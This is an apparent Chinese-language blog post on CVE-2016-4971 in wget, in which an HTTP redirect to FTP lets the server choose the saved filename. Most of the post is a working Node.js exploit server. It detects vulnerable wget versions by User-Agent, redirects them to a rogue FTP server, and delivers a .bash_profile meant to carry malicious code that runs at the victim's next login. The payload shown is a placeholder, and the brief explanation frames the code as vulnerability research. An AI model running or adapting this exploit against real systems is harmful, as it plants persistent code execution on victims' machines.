前几天wget出了一个洞,
On a server redirect from HTTP to a FTP resource, wget would trust the HTTP server and uses the name in the redirected URL as the destination filename.
——https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4971.html
即,当wget请求一个HTTP站点上的文件时,如果HTTP服务器将它重定向到一个FTP服务器的话,wget将使用HTTP服务器所给出的在FTP服务器上的文件的名字。
如果我们重定向到一个名为.bash_profile的文件,而且用户下载文件的目录下又正好是默认的登录目录,且没有这个.bash_profile的话, 我们的目的就达到了。我们可以在.bash_profile中写上恶意代码,下一次该用户登录上来时,这些恶意代码就会自动被执行,于是23333
在下面的例子中,我们把所有来自wget的、并且wget版本低于1.18的请求都重定向到了携带恶意代码的FTP服务器上,可以看到,客户端wget使用了我们重定向过去的文件名。
代码如下,
var net = require('net'); var server = net.createServer(); var ftp = net.createServer(); var host ='Server IP Address'; var bash_profile ='#!/bin/sh\n#wget vulnerable\n'; // FTP服务器监听在21端口 ftp.listen(21, host); // HTTP服务器监听本机的80端口 server.listen(80, host); // 有HTTP用户连接时 server.on('connection', function(socket) { console.log('HTTP connected from: ' + socket.remoteAddress + ':' + socket.remotePort); socket.on('data', function(data) { // 分离头部(当然, 我们假设这是HTTP包) var header = data.toString().split('\r\n'); // 判断是否是wget所发送的请求 var wget_regex = new RegExp(/^User-Agent: Wget\/([\d\.]+)?(.*)/); for (var i = 0; i < header.length; i++) { var matches = header[i].match(wget_regex); if (matches != null) { // 判断wget版本号, 低于1.18的版本可以利用此漏洞CVE-2016-4971 var version = parseFloat(matches[1]); console.log('wget version: ' + matches[1] + ' ' +(version < 1.18 ? 'vulnerable' : 'invulnerable')); if (version < 1.18) { // 重定向到ftp服务器 socket.write('HTTP/1.1 302 Found\r\nContent-Type: text/html; charset=UTF-8\r\nLocation: ftp://' + host + '/.bash_profile\r\nContent-Length: ' + bash_profile.length + '\r\n\r\n'); } // 关闭HTTP的socket连接 socket.destroy(); } } }); }); // 有FTP用户连接时 ftp.on('connection', function(socket) { console.log('FTP connected from: ' + socket.remoteAddress + ':' + socket.remotePort); // FTP返回状态码和消息 socket.reply = function (status, message, callback) { if (!message) message = messages[status.toString()] || 'No information'; if (this.writable) { this.write(status.toString() + ' ' + message.toString() + '\r\n', callback); } }; // FTP数据链路的Handler socket.dataTransfer = function (handle) { console.log('Remote begins downloading...'); function finish(dataSocket) { return function (err) { if (err) { dataSocket.emit('error', err); } else { dataSocket.end(); } } } // 开始数据传输 function execute() { socket.reply(150); handle.call(socket, this, finish(this)); } // 将准备好的放入队列 socket.dataTransfer.queue.push(execute) } socket.dataTransfer.queue = [] // 当有新的FTP连接时 // 自动回复200 socket.reply(200); // 处理FTP命令 socket.on('data', function(data) { var parts = data.toString().trim().split(" "); var command = parts[0].trim().toUpperCase(), args = parts.slice(1, parts.length); var callable = commands[command]; if (callable) { callable.apply(socket, args); } else { socket.reply(502); } }); }); // 一个不完整的FTP状态码-消息表 messages = { "150" : "File status okay; about to open data connection.", "200" : "Command okay.", "215" : "NodeFTP server emulator.", "230" : "User logged in, proceed.", "331" : "User name okay, need password.", "502" : "Command not implemented.", }; // 一个不完整的FTP命令表 commands = { // 用户名 "USER" : function () { this.reply(331); }, // 密码 "PASS": function (password) { this.reply(230); }, // FTP系统类型 "SYST" : function () { this.reply(215); }, // 当前工作目录 "PWD" : function () { this.reply(257, '"/"'); }, // 传输的数据类型 "TYPE" : function (dataEncoding) { if (dataEncoding == "A" || dataEncoding == "I") { this.dataEncoding = (dataEncoding == "A") ? 'utf8' : "binary"; this.reply(200); } else { this.reply(501); } }, // 被动模式 "PASV" : function () { var socket = this, dataServer = net.createServer(); dataServer.on('connection', function (dataSocket) { dataSocket.setEncoding(socket.dataEncoding); if (socket.dataTransfer.queue.length) { socket.dataTransfer.queue.shift().call(dataSocket); } else { dataSocket.emit('error', {"code": 421}); socket.end(); } dataSocket.on('close', function () { socket.reply(this.error ? 426 : 226); dataServer.close(); }).on('error', function (err) { this.error = err; socket.reply(err.code || 500, err.message); }) }).on('listening', function () { var port = this.address().port, host = server.address().address; socket.dataInfo = { "host": host, "port": port }; socket.reply(227, 'PASV OK (' + host.split('.').join(',') + ',' + parseInt(port/256,10) + ',' + (port%256) + ')'); }).listen() }, // 取文件 "RETR" : function (file) { var socket = this; console.log('Remote begins downloading...'); socket.dataTransfer(function (dataSocket, finish) { dataSocket.write(bash_profile, socket.dataEncoding); dataSocket.end(); console.log('Remote ' + socket.remoteAddress + ':' + socket.remotePort + ' has retrived .bash_profile.'); }); }, };
hhhhh我倒是想知道为啥会触发这个漏洞的说。。。。
好像是有人研究了wget的代码,发现通过HTTP下载文件时,wget会无条件信任HTTP服务器重定向到的FTP服务器上的文件地址,于是23333